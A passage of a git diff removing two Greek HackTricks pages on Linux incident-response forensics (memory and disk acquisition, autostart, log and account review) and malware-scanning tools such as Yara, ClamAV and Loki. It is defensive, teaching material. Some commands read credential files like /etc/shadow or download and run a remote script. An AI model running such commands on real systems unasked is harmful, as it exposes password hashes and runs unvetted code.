ρυθμίσει το σύστημα να χρησιμοποιεί καλές και γνωστές δυαδικές εκδόσεις, μπορείτε να αρχίσετε **να εξάγετε κάποιες βασικές πληροφορίες**: -```bash -date #Date and time (Clock may be skewed, Might be at a different timezone) -uname -a #OS info -ifconfig -a || ip a #Network interfaces (promiscuous mode?) -ps -ef #Running processes -netstat -anp #Proccess and ports -lsof -V #Open files -netstat -rn; route #Routing table -df; mount #Free space and mounted devices -free #Meam and swap space -w #Who is connected -last -Faiwx #Logins -lsmod #What is loaded -cat /etc/passwd #Unexpected data? -cat /etc/shadow #Unexpected data? -find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory -``` -#### Suspicious information - -Κατά την απόκτηση βασικών πληροφοριών, θα πρέπει να ελέγξετε για περίεργα πράγματα όπως: - -- **Διεργασίες root** συνήθως εκτελούνται με χαμηλούς PIDS, οπότε αν βρείτε μια διεργασία root με μεγάλο PID, μπορεί να υποψιαστείτε -- Ελέγξτε για **καταγεγραμμένες συνδέσεις** χρηστών χωρίς shell μέσα στο `/etc/passwd` -- Ελέγξτε για **hash κωδικών πρόσβασης** μέσα στο `/etc/shadow` για χρήστες χωρίς shell - -### Memory Dump - -Για να αποκτήσετε τη μνήμη του τρέχοντος συστήματος, συνιστάται να χρησιμοποιήσετε [**LiME**](https://github.com/504ensicsLabs/LiME).\ -Για να **συγκεντρώσετε** το, πρέπει να χρησιμοποιήσετε τον **ίδιο πυρήνα** που χρησιμοποιεί η μηχανή του θύματος. - -> [!NOTE] -> Θυμηθείτε ότι **δεν μπορείτε να εγκαταστήσετε το LiME ή οτιδήποτε άλλο** στη μηχανή του θύματος, καθώς θα κάνει πολλές αλλαγές σε αυτήν - -Έτσι, αν έχετε μια ταυτόσημη έκδοση του Ubuntu, μπορείτε να χρησιμοποιήσετε `apt-get install lime-forensics-dkms`\ -Σε άλλες περιπτώσεις, πρέπει να κατεβάσετε [**LiME**](https://github.com/504ensicsLabs/LiME) από το github και να το συγκεντρώσετε με σωστές κεφαλίδες πυρήνα. Για να **αποκτήσετε τις ακριβείς κεφαλίδες πυρήνα** της μηχανής του θύματος, μπορείτε απλά να **αντιγράψετε τον κατάλογο** `/lib/modules/` στη μηχανή σας και στη συνέχεια να **συγκεντρώσετε** το LiME χρησιμοποιώντας αυτές: -```bash -make -C /lib/modules//build M=$PWD -sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" -``` -LiME υποστηρίζει 3 **μορφές**: - -- Raw (κάθε τμήμα συνδυασμένο μαζί) -- Padded (ίδιο με το raw, αλλά με μηδενικά στα δεξιά bits) -- Lime (συνιστώμενη μορφή με μεταδεδομένα) - -LiME μπορεί επίσης να χρησιμοποιηθεί για **να στείλει το dump μέσω δικτύου** αντί να το αποθηκεύσει στο σύστημα χρησιμοποιώντας κάτι όπως: `path=tcp:4444` - -### Disk Imaging - -#### Shutting down - -Πρώτα απ' όλα, θα χρειαστεί να **κλείσετε το σύστημα**. Αυτό δεν είναι πάντα επιλογή καθώς μερικές φορές το σύστημα θα είναι ένας παραγωγικός διακομιστής που η εταιρεία δεν μπορεί να αντέξει να κλείσει.\ -Υπάρχουν **2 τρόποι** για να κλείσετε το σύστημα, μια **κανονική απενεργοποίηση** και μια **"τραβήξτε το βύσμα" απενεργοποίηση**. Η πρώτη θα επιτρέψει στους **διαδικασίες να τερματιστούν όπως συνήθως** και το **filesystem** να είναι **συγχρονισμένο**, αλλά θα επιτρέψει επίσης την πιθανή **κακόβουλη λογισμική** να **καταστρέψει αποδείξεις**. Η προσέγγιση "τραβήξτε το βύσμα" μπορεί να φέρει **κάποια απώλεια πληροφοριών** (όχι πολλές πληροφορίες θα χαθούν καθώς έχουμε ήδη πάρει μια εικόνα της μνήμης) και η **κακόβουλη λογισμική δεν θα έχει καμία ευκαιρία** να κάνει κάτι γι' αυτό. Επομένως, αν **υποψιάζεστε** ότι μπορεί να υπάρχει **κακόβουλη λογισμική**, απλώς εκτελέστε την **εντολή** **`sync`** στο σύστημα και τραβήξτε το βύσμα. - -#### Taking an image of the disk - -Είναι σημαντικό να σημειωθεί ότι **πριν συνδέσετε τον υπολογιστή σας σε οτιδήποτε σχετίζεται με την υπόθεση**, πρέπει να είστε σίγουροι ότι θα **τοποθετηθεί ως μόνο για ανάγνωση** για να αποφύγετε την τροποποίηση οποιασδήποτε πληροφορίας. -```bash -#Create a raw copy of the disk -dd if= of= bs=512 - -#Raw copy with hashes along the way (more secure as it checks hashes while it's copying the data) -dcfldd if= of= bs=512 hash= hashwindow= hashlog= -dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes -``` -### Προ-ανάλυση εικόνας δίσκου - -Εικόνα μιας εικόνας δίσκου χωρίς περισσότερα δεδομένα. -```bash -#Find out if it's a disk image using "file" command -file disk.img -disk.img: Linux rev 1.0 ext4 filesystem data, UUID=59e7a736-9c90-4fab-ae35-1d6a28e5de27 (extents) (64bit) (large files) (huge files) - -#Check which type of disk image it's -img_stat -t evidence.img -raw -#You can list supported types with -img_stat -i list -Supported image format types: -raw (Single or split raw file (dd)) -aff (Advanced Forensic Format) -afd (AFF Multiple File) -afm (AFF with external metadata) -afflib (All AFFLIB image formats (including beta ones)) -ewf (Expert Witness Format (EnCase)) - -#Data of the image -fsstat -i raw -f ext4 disk.img -FILE SYSTEM INFORMATION --------------------------------------------- -File System Type: Ext4 -Volume Name: -Volume ID: 162850f203fd75afab4f1e4736a7e776 - -Last Written at: 2020-02-06 06:22:48 (UTC) -Last Checked at: 2020-02-06 06:15:09 (UTC) - -Last Mounted at: 2020-02-06 06:15:18 (UTC) -Unmounted properly -Last mounted on: /mnt/disk0 - -Source OS: Linux -[...] - -#ls inside the image -fls -i raw -f ext4 disk.img -d/d 11: lost+found -d/d 12: Documents -d/d 8193: folder1 -d/d 8194: folder2 -V/V 65537: $OrphanFiles - -#ls inside folder -fls -i raw -f ext4 disk.img 12 -r/r 16: secret.txt - -#cat file inside image -icat -i raw -f ext4 disk.img 16 -ThisisTheMasterSecret -``` -## Αναζήτηση για γνωστό Malware - -### Τροποποιημένα Αρχεία Συστήματος - -Το Linux προσφέρει εργαλεία για την εξασφάλιση της ακεραιότητας των συστημικών στοιχείων, κρίσιμα για την ανίχνευση δυνητικά προβληματικών αρχείων. - -- **Συστήματα βασισμένα σε RedHat**: Χρησιμοποιήστε `rpm -Va` για μια ολοκληρωμένη έλεγχο. -- **Συστήματα βασισμένα σε Debian**: `dpkg --verify` για αρχική επαλήθευση, ακολουθούμενη από `debsums | grep -v "OK$"` (μετά την εγκατάσταση του `debsums` με `apt-get install debsums`) για την αναγνώριση τυχόν προβλημάτων. - -### Ανιχνευτές Malware/Rootkit - -Διαβάστε την παρακάτω σελίδα για να μάθετε για εργαλεία που μπορεί να είναι χρήσιμα για την εύρεση malware: - -{{#ref}} -malware-analysis.md -{{#endref}} - -## Αναζήτηση εγκατεστημένων προγραμμάτων - -Για να αναζητήσετε αποτελεσματικά εγκατεστημένα προγράμματα σε συστήματα Debian και RedHat, εξετάστε το ενδεχόμενο να αξιοποιήσετε τα συστημικά αρχεία καταγραφής και τις βάσεις δεδομένων παράλληλα με χειροκίνητους ελέγχους σε κοινές καταλόγους. - -- Για Debian, ελέγξτε _**`/var/lib/dpkg/status`**_ και _**`/var/log/dpkg.log`**_ για να αποκτήσετε λεπτομέρειες σχετικά με τις εγκαταστάσεις πακέτων, χρησιμοποιώντας `grep` για να φιλτράρετε συγκεκριμένες πληροφορίες. -- Οι χρήστες RedHat μπορούν να ερωτήσουν τη βάση δεδομένων RPM με `rpm -qa --root=/mntpath/var/lib/rpm` για να καταγράψουν τα εγκατεστημένα πακέτα. - -Για να αποκαλύψετε λογισμικό που έχει εγκατασταθεί χειροκίνητα ή εκτός αυτών των διαχειριστών πακέτων, εξερευνήστε καταλόγους όπως _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, και _**`/sbin`**_. Συνδυάστε τις καταχωρήσεις καταλόγων με εντολές συγκεκριμένες για το σύστημα για να εντοπίσετε εκτελέσιμα που δεν σχετίζονται με γνωστά πακέτα, ενισχύοντας την αναζήτησή σας για όλα τα εγκατεστημένα προγράμματα. -```bash -# Debian package and log details -cat /var/lib/dpkg/status | grep -E "Package:|Status:" -cat /var/log/dpkg.log | grep installed -# RedHat RPM database query -rpm -qa --root=/mntpath/var/lib/rpm -# Listing directories for manual installations -ls /usr/sbin /usr/bin /bin /sbin -# Identifying non-package executables (Debian) -find /sbin/ -exec dpkg -S {} \; | grep "no path found" -# Identifying non-package executables (RedHat) -find /sbin/ –exec rpm -qf {} \; | grep "is not" -# Find exacuable files -find / -type f -executable | grep -``` -## Ανάκτηση Διαγραμμένων Εκτελέσιμων Αρχείων - -Φανταστείτε μια διαδικασία που εκτελέστηκε από το /tmp/exec και στη συνέχεια διαγράφηκε. Είναι δυνατόν να την εξάγουμε. -```bash -cd /proc/3746/ #PID with the exec file deleted -head -1 maps #Get address of the file. It was 08048000-08049000 -dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it -``` -## Εξέταση Τοποθεσιών Αυτοεκκίνησης - -### Προγραμματισμένα Καθήκοντα -```bash -cat /var/spool/cron/crontabs/* \ -/var/spool/cron/atjobs \ -/var/spool/anacron \ -/etc/cron* \ -/etc/at* \ -/etc/anacrontab \ -/etc/incron.d/* \ -/var/spool/incron/* \ - -#MacOS -ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ -``` -### Υπηρεσίες - -Διαδρομές όπου ένα κακόβουλο λογισμικό θα μπορούσε να εγκατασταθεί ως υπηρεσία: - -- **/etc/inittab**: Καλεί σενάρια αρχικοποίησης όπως το rc.sysinit, κατευθύνοντας περαιτέρω σε σενάρια εκκίνησης. -- **/etc/rc.d/** και **/etc/rc.boot/**: Περιέχουν σενάρια για την εκκίνηση υπηρεσιών, το δεύτερο βρίσκεται σε παλαιότερες εκδόσεις Linux. -- **/etc/init.d/**: Χρησιμοποιείται σε ορισμένες εκδόσεις Linux όπως το Debian για την αποθήκευση σεναρίων εκκίνησης. -- Οι υπηρεσίες μπορούν επίσης να ενεργοποιηθούν μέσω **/etc/inetd.conf** ή **/etc/xinetd/**, ανάλογα με την παραλλαγή του Linux. -- **/etc/systemd/system**: Ένας φάκελος για σενάρια διαχειριστή συστήματος και υπηρεσιών. -- **/etc/systemd/system/multi-user.target.wants/**: Περιέχει συνδέσμους σε υπηρεσίες που θα πρέπει να ξεκινούν σε επίπεδο εκκίνησης πολλαπλών χρηστών. -- **/usr/local/etc/rc.d/**: Για προσαρμοσμένες ή τρίτων υπηρεσίες. -- **\~/.config/autostart/**: Για αυτόματες εφαρμογές εκκίνησης που σχετίζονται με τον χρήστη, οι οποίες μπορεί να είναι κρυψώνες για κακόβουλο λογισμικό που στοχεύει χρήστες. -- **/lib/systemd/system/**: Προεπιλεγμένα αρχεία μονάδας σε επίπεδο συστήματος που παρέχονται από εγκατεστημένα πακέτα. - -### Μονάδες Πυρήνα - -Οι μονάδες πυρήνα Linux, που συχνά χρησιμοποιούνται από κακόβουλο λογισμικό ως στοιχεία rootkit, φορτώνονται κατά την εκκίνηση του συστήματος. Οι φάκελοι και τα αρχεία που είναι κρίσιμα για αυτές τις μονάδες περιλαμβάνουν: - -- **/lib/modules/$(uname -r)**: Περιέχει μονάδες για την τρέχουσα έκδοση του πυρήνα. -- **/etc/modprobe.d**: Περιέχει αρχεία ρυθμίσεων για τον έλεγχο της φόρτωσης μονάδων. -- **/etc/modprobe** και **/etc/modprobe.conf**: Αρχεία για παγκόσμιες ρυθμίσεις μονάδων. - -### Άλλες Τοποθεσίες Αυτόματης Εκκίνησης - -Το Linux χρησιμοποιεί διάφορα αρχεία για την αυτόματη εκτέλεση προγραμμάτων κατά την είσοδο του χρήστη, ενδεχομένως φιλοξενώντας κακόβουλο λογισμικό: - -- **/etc/profile.d/**\*, **/etc/profile**, και **/etc/bash.bashrc**: Εκτελούνται για οποιαδήποτε είσοδο χρήστη. -- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, και **\~/.config/autostart**: Αρχεία που σχετίζονται με τον χρήστη που εκτελούνται κατά την είσοδό τους. -- **/etc/rc.local**: Εκτελείται μετά την εκκίνηση όλων των υπηρεσιών του συστήματος, σηματοδοτώντας το τέλος της μετάβασης σε περιβάλλον πολλαπλών χρηστών. - -## Εξέταση Καταγραφών - -Τα συστήματα Linux παρακολουθούν τις δραστηριότητες χρηστών και τα γεγονότα του συστήματος μέσω διαφόρων αρχείων καταγραφής. Αυτές οι καταγραφές είναι κρίσιμες για την αναγνώριση μη εξουσιοδοτημένης πρόσβασης, λοιμώξεων από κακόβουλο λογισμικό και άλλων περιστατικών ασφαλείας. Κύρια αρχεία καταγραφής περιλαμβάνουν: - -- **/var/log/syslog** (Debian) ή **/var/log/messages** (RedHat): Καταγράφουν μηνύματα και δραστηριότητες σε επίπεδο συστήματος. -- **/var/log/auth.log** (Debian) ή **/var/log/secure** (RedHat): Καταγράφουν προσπάθειες αυθεντικοποίησης, επιτυχείς και αποτυχημένες συνδέσεις. -- Χρησιμοποιήστε `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` για να φιλτράρετε σχετικά γεγονότα αυθεντικοποίησης. -- **/var/log/boot.log**: Περιέχει μηνύματα εκκίνησης του συστήματος. -- **/var/log/maillog** ή **/var/log/mail.log**: Καταγράφει δραστηριότητες του διακομιστή email, χρήσιμο για την παρακολούθηση υπηρεσιών που σχετίζονται με email. -- **/var/log/kern.log**: Αποθηκεύει μηνύματα πυρήνα, συμπεριλαμβανομένων σφαλμάτων και προειδοποιήσεων. -- **/var/log/dmesg**: Περιέχει μηνύματα οδηγών συσκευών. -- **/var/log/faillog**: Καταγράφει αποτυχημένες προσπάθειες σύνδεσης, βοηθώντας στις έρευνες παραβίασης ασφαλείας. -- **/var/log/cron**: Καταγράφει εκτελέσεις εργασιών cron. -- **/var/log/daemon.log**: Παρακολουθεί δραστηριότητες υπηρεσιών παρασκηνίου. -- **/var/log/btmp**: Καταγράφει αποτυχημένες προσπάθειες σύνδεσης. -- **/var/log/httpd/**: Περιέχει αρχεία καταγραφής σφαλμάτων και πρόσβασης του Apache HTTPD. -- **/var/log/mysqld.log** ή **/var/log/mysql.log**: Καταγράφει δραστηριότητες της βάσης δεδομένων MySQL. -- **/var/log/xferlog**: Καταγράφει μεταφορές αρχείων FTP. -- **/var/log/**: Ελέγξτε πάντα για απροσδόκητες καταγραφές εδώ. - -> [!NOTE] -> Οι καταγραφές συστήματος Linux και τα υποσυστήματα ελέγχου μπορεί να είναι απενεργοποιημένα ή διαγραμμένα σε περίπτωση παραβίασης ή περιστατικού κακόβουλου λογισμικού. Δεδομένου ότι οι καταγραφές σε συστήματα Linux περιέχουν γενικά μερικές από τις πιο χρήσιμες πληροφορίες σχετικά με κακόβουλες δραστηριότητες, οι εισβολείς τις διαγράφουν τακτικά. Επομένως, κατά την εξέταση διαθέσιμων αρχείων καταγραφής, είναι σημαντικό να αναζητήσετε κενά ή μη κανονικές καταχωρήσεις που μπορεί να είναι ένδειξη διαγραφής ή παραποίησης. - -**Το Linux διατηρεί ένα ιστορικό εντολών για κάθε χρήστη**, αποθηκευμένο σε: - -- \~/.bash_history -- \~/.zsh_history -- \~/.zsh_sessions/\* -- \~/.python_history -- \~/.\*\_history - -Επιπλέον, η εντολή `last -Faiwx` παρέχει μια λίστα με τις συνδέσεις χρηστών. Ελέγξτε την για άγνωστες ή απροσδόκητες συνδέσεις. - -Ελέγξτε αρχεία που μπορούν να παραχωρήσουν επιπλέον δικαιώματα: - -- Εξετάστε το `/etc/sudoers` για απροσδόκητα δικαιώματα χρηστών που μπορεί να έχουν παραχωρηθεί. -- Εξετάστε το `/etc/sudoers.d/` για απροσδόκητα δικαιώματα χρηστών που μπορεί να έχουν παραχωρηθεί. -- Εξετάστε το `/etc/groups` για να εντοπίσετε οποιαδήποτε ασυνήθιστη μέλη ομάδας ή δικαιώματα. -- Εξετάστε το `/etc/passwd` για να εντοπίσετε οποιαδήποτε ασυνήθιστη μέλη ομάδας ή δικαιώματα. - -Ορισμένες εφαρμογές επίσης δημιουργούν τα δικά τους αρχεία καταγραφής: - -- **SSH**: Εξετάστε το _\~/.ssh/authorized_keys_ και _\~/.ssh/known_hosts_ για μη εξουσιοδοτημένες απομακρυσμένες συνδέσεις. -- **Gnome Desktop**: Ρίξτε μια ματιά στο _\~/.recently-used.xbel_ για πρόσφατα προσπελάσιμα αρχεία μέσω εφαρμογών Gnome. -- **Firefox/Chrome**: Ελέγξτε το ιστορικό του προγράμματος περιήγησης και τις λήψεις στο _\~/.mozilla/firefox_ ή _\~/.config/google-chrome_ για ύποπτες δραστηριότητες. -- **VIM**: Εξετάστε το _\~/.viminfo_ για λεπτομέρειες χρήσης, όπως διαδρομές αρχείων που προσπελάστηκαν και ιστορικό αναζητήσεων. -- **Open Office**: Ελέγξτε για πρόσφατη πρόσβαση σε έγγραφα που μπορεί να υποδηλώνει παραβιασμένα αρχεία. -- **FTP/SFTP**: Εξετάστε τα αρχεία καταγραφής στο _\~/.ftp_history_ ή _\~/.sftp_history_ για μεταφορές αρχείων που μπορεί να είναι μη εξουσιοδοτημένες. -- **MySQL**: Εξετάστε το _\~/.mysql_history_ για εκτελεσμένα ερωτήματα MySQL, που μπορεί να αποκαλύπτουν μη εξουσιοδοτημένες δραστηριότητες βάσης δεδομένων. -- **Less**: Αναλύστε το _\~/.lesshst_ για ιστορικό χρήσης, συμπεριλαμβανομένων των αρχείων που προβλήθηκαν και των εντολών που εκτελέστηκαν. -- **Git**: Εξετάστε το _\~/.gitconfig_ και το έργο _.git/logs_ για αλλαγές σε αποθετήρια. - -### Καταγραφές USB - -[**usbrip**](https://github.com/snovvcrash/usbrip) είναι ένα μικρό κομμάτι λογισμικού γραμμένο σε καθαρή Python 3 που αναλύει τα αρχεία καταγραφής Linux (`/var/log/syslog*` ή `/var/log/messages*` ανάλογα με τη διανομή) για την κατασκευή πινάκων ιστορικού γεγονότων USB. - -Είναι ενδιαφέρον να **γνωρίζετε όλα τα USB που έχουν χρησιμοποιηθεί** και θα είναι πιο χρήσιμο αν έχετε μια εξουσιοδοτημένη λίστα USB για να βρείτε "γεγονότα παραβίασης" (η χρήση USB που δεν είναι μέσα σε αυτή τη λίστα). - -### Εγκατάσταση -```bash -pip3 install usbrip -usbrip ids download #Download USB ID database -``` -### Παραδείγματα -```bash -usbrip events history #Get USB history of your curent linux machine -usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user -#Search for vid and/or pid -usbrip ids download #Downlaod database -usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid -``` -Περισσότερα παραδείγματα και πληροφορίες μέσα στο github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) - -## Ανασκόπηση Λογαριασμών Χρηστών και Δραστηριοτήτων Σύνδεσης - -Εξετάστε τα _**/etc/passwd**_, _**/etc/shadow**_ και **ασφαλιστικά αρχεία** για ασυνήθιστα ονόματα ή λογαριασμούς που δημιουργήθηκαν και ή χρησιμοποιήθηκαν κοντά σε γνωστά μη εξουσιοδοτημένα γεγονότα. Επίσης, ελέγξτε πιθανές επιθέσεις brute-force sudo.\ -Επιπλέον, ελέγξτε αρχεία όπως _**/etc/sudoers**_ και _**/etc/groups**_ για απροσδόκητα προνόμια που δίνονται σε χρήστες.\ -Τέλος, αναζητήστε λογαριασμούς με **κανέναν κωδικό πρόσβασης** ή **εύκολα μαντεύσιμους** κωδικούς πρόσβασης. - -## Εξέταση Συστήματος Αρχείων - -### Ανάλυση Δομών Συστήματος Αρχείων σε Έρευνες Κακόβουλου Λογισμικού - -Κατά την έρευνα περιστατικών κακόβουλου λογισμικού, η δομή του συστήματος αρχείων είναι μια κρίσιμη πηγή πληροφοριών, αποκαλύπτοντας τόσο τη σειρά των γεγονότων όσο και το περιεχόμενο του κακόβουλου λογισμικού. Ωστόσο, οι συγγραφείς κακόβουλου λογισμικού αναπτύσσουν τεχνικές για να εμποδίσουν αυτή την ανάλυση, όπως η τροποποίηση των χρονικών σφραγίδων αρχείων ή η αποφυγή του συστήματος αρχείων για αποθήκευση δεδομένων. - -Για να αντισταθούμε σε αυτές τις μεθόδους αντεπίθεσης, είναι απαραίτητο να: - -- **Διεξάγετε μια λεπτομερή ανάλυση χρονολογίας** χρησιμοποιώντας εργαλεία όπως το **Autopsy** για την οπτικοποίηση χρονολογιών γεγονότων ή το `mactime` του **Sleuth Kit** για λεπτομερή δεδομένα χρονολογίας. -- **Εξετάστε απροσδόκητα σενάρια** στο $PATH του συστήματος, τα οποία μπορεί να περιλαμβάνουν shell ή PHP σενάρια που χρησιμοποιούνται από επιτιθέμενους. -- **Εξετάστε το `/dev` για ασυνήθιστα αρχεία**, καθώς παραδοσιακά περιέχει ειδικά αρχεία, αλλά μπορεί να φιλοξενεί αρχεία που σχετίζονται με κακόβουλο λογισμικό. -- **Αναζητήστε κρυφά αρχεία ή καταλόγους** με ονόματα όπως ".. " (dot dot space) ή "..^G" (dot dot control-G), τα οποία θα μπορούσαν να κρύβουν κακόβουλο περιεχόμενο. -- **Εντοπίστε αρχεία setuid root** χρησιμοποιώντας την εντολή: `find / -user root -perm -04000 -print` Αυτό βρίσκει αρχεία με ανυψωμένα δικαιώματα, τα οποία θα μπορούσαν να καταχραστούν από επιτιθέμενους. -- **Ανασκοπήστε τις χρονικές σφραγίδες διαγραφής** στους πίνακες inode για να εντοπίσετε μαζικές διαγραφές αρχείων, πιθανώς υποδεικνύοντας την παρουσία rootkits ή trojans. -- **Επιθεωρήστε διαδοχικά inodes** για κοντινά κακόβουλα αρχεία μετά την αναγνώριση ενός, καθώς μπορεί να έχουν τοποθετηθεί μαζί. -- **Ελέγξτε κοινούς καταλόγους δυαδικών αρχείων** (_/bin_, _/sbin_) για πρόσφατα τροποποιημένα αρχεία, καθώς αυτά θα μπορούσαν να έχουν τροποποιηθεί από κακόβουλο λογισμικό. -````bash -# List recent files in a directory: -ls -laR --sort=time /bin``` - -# Sort files in a directory by inode: -ls -lai /bin | sort -n``` -```` -> [!NOTE] -> Σημειώστε ότι ένας **επιτιθέμενος** μπορεί να **τροποποιήσει** τον **χρόνο** για να κάνει τα **αρχεία να φαίνονται** **νόμιμα**, αλλά δεν μπορεί να **τροποποιήσει** το **inode**. Εάν διαπιστώσετε ότι ένα **αρχείο** υποδεικνύει ότι δημιουργήθηκε και τροποποιήθηκε την **ίδια στιγμή** με τα υπόλοιπα αρχεία στον ίδιο φάκελο, αλλά το **inode** είναι **αναπάντεχα μεγαλύτερο**, τότε οι **χρόνοι του αρχείου αυτού τροποποιήθηκαν**. - -## Σύγκριση αρχείων διαφορετικών εκδόσεων συστήματος αρχείων - -### Περίληψη Σύγκρισης Εκδόσεων Συστήματος Αρχείων - -Για να συγκρίνουμε εκδόσεις συστήματος αρχείων και να εντοπίσουμε αλλαγές, χρησιμοποιούμε απλοποιημένες εντολές `git diff`: - -- **Για να βρείτε νέα αρχεία**, συγκρίνετε δύο καταλόγους: -```bash -git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ -``` -- **Για τροποποιημένο περιεχόμενο**, καταγράψτε τις αλλαγές αγνοώντας συγκεκριμένες γραμμές: -```bash -git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" -``` -- **Για να ανιχνεύσετε διαγραμμένα αρχεία**: -```bash -git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ -``` -- **Επιλογές φίλτρου** (`--diff-filter`) βοηθούν στη στένωση σε συγκεκριμένες αλλαγές όπως προσθήκες (`A`), διαγραφές (`D`), ή τροποποιημένα (`M`) αρχεία. -- `A`: Προσθήκες αρχείων -- `C`: Αντιγραμμένα αρχεία -- `D`: Διαγραμμένα αρχεία -- `M`: Τροποποιημένα αρχεία -- `R`: Μετονομασμένα αρχεία -- `T`: Αλλαγές τύπου (π.χ., αρχείο σε symlink) -- `U`: Μη συγχωνευμένα αρχεία -- `X`: Άγνωστα αρχεία -- `B`: Σπασμένα αρχεία - -## Αναφορές - -- [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf) -- [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) -- [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) -- **Βιβλίο: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/malware-analysis.md b/src/forensics/basic-forensic-methodology/malware-analysis.md deleted file mode 100644 index 27a81e97b..000000000 --- a/src/forensics/basic-forensic-methodology/malware-analysis.md +++ /dev/null @@ -1,154 +0,0 @@ -# Ανάλυση Κακόβουλου Λογισμικού - -{{#include ../../banners/hacktricks-training.md}} - -## CheatSheets Εγκληματολογίας - -[https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/) - -## Διαδικτυακές Υπηρεσίες - -- [VirusTotal](https://www.virustotal.com/gui/home/upload) -- [HybridAnalysis](https://www.hybrid-analysis.com) -- [Koodous](https://koodous.com) -- [Intezer](https://analyze.intezer.com) -- [Any.Run](https://any.run/) - -## Offline Antivirus και Εργαλεία Ανίχνευσης - -### Yara - -#### Εγκατάσταση -```bash -sudo apt-get install -y yara -``` -#### Ετοιμάστε κανόνες - -Χρησιμοποιήστε αυτό το σενάριο για να κατεβάσετε και να συγχωνεύσετε όλους τους κανόνες yara malware από το github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Δημιουργήστε τον φάκελο _**rules**_ και εκτελέστε τον. Αυτό θα δημιουργήσει ένα αρχείο με όνομα _**malware_rules.yar**_ που περιέχει όλους τους κανόνες yara για malware. -```bash -wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py -mkdir rules -python malware_yara_rules.py -``` -#### Σάρωση -```bash -yara -w malware_rules.yar image #Scan 1 file -yara -w malware_rules.yar folder #Scan the whole folder -``` -#### YaraGen: Έλεγχος για κακόβουλο λογισμικό και Δημιουργία κανόνων - -Μπορείτε να χρησιμοποιήσετε το εργαλείο [**YaraGen**](https://github.com/Neo23x0/yarGen) για να δημιουργήσετε κανόνες yara από ένα δυαδικό αρχείο. Δείτε αυτά τα σεμινάρια: [**Μέρος 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Μέρος 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Μέρος 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) -```bash -python3 yarGen.py --update -python3.exe yarGen.py --excludegood -m ../../mals/ -``` -### ClamAV - -#### Εγκατάσταση -``` -sudo apt-get install -y clamav -``` -#### Σάρωση -```bash -sudo freshclam #Update rules -clamscan filepath #Scan 1 file -clamscan folderpath #Scan the whole folder -``` -### [Capa](https://github.com/mandiant/capa) - -**Capa** ανιχνεύει δυνητικά κακόβουλες **ικανότητες** σε εκτελέσιμα: PE, ELF, .NET. Έτσι θα βρει πράγματα όπως τακτικές Att\&ck ή ύποπτες ικανότητες όπως: - -- έλεγχος για σφάλμα OutputDebugString -- εκτέλεση ως υπηρεσία -- δημιουργία διαδικασίας - -Αποκτήστε το στο [**Github repo**](https://github.com/mandiant/capa). - -### IOCs - -IOC σημαίνει Δείκτης Συμβιβασμού. Ένα IOC είναι ένα σύνολο **συνθηκών που προσδιορίζουν** κάποιο δυνητικά ανεπιθύμητο λογισμικό ή επιβεβαιωμένο **κακόβουλο λογισμικό**. Οι Blue Teams χρησιμοποιούν αυτόν τον τύπο ορισμού για να **αναζητούν αυτόν τον τύπο κακόβουλων αρχείων** στα **συστήματα** και **δίκτυά** τους.\ -Η κοινοποίηση αυτών των ορισμών είναι πολύ χρήσιμη, καθώς όταν εντοπίζεται κακόβουλο λογισμικό σε έναν υπολογιστή και δημιουργείται ένα IOC για αυτό το κακόβουλο λογισμικό, άλλες Blue Teams μπορούν να το χρησιμοποιήσουν για να εντοπίσουν το κακόβουλο λογισμικό πιο γρήγορα. - -Ένα εργαλείο για τη δημιουργία ή την τροποποίηση IOCs είναι το [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ -Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [**Redline**](https://www.fireeye.com/services/freeware/redline.html) για να **αναζητήσετε καθορισμένα IOCs σε μια συσκευή**. - -### Loki - -[**Loki**](https://github.com/Neo23x0/Loki) είναι ένας σαρωτής για Απλούς Δείκτες Συμβιβασμού.\ -Η ανίχνευση βασίζεται σε τέσσερις μεθόδους ανίχνευσης: -``` -1. File Name IOC -Regex match on full file path/name - -2. Yara Rule Check -Yara signature matches on file data and process memory - -3. Hash Check -Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files - -4. C2 Back Connect Check -Compares process connection endpoints with C2 IOCs (new since version v.10) -``` -### 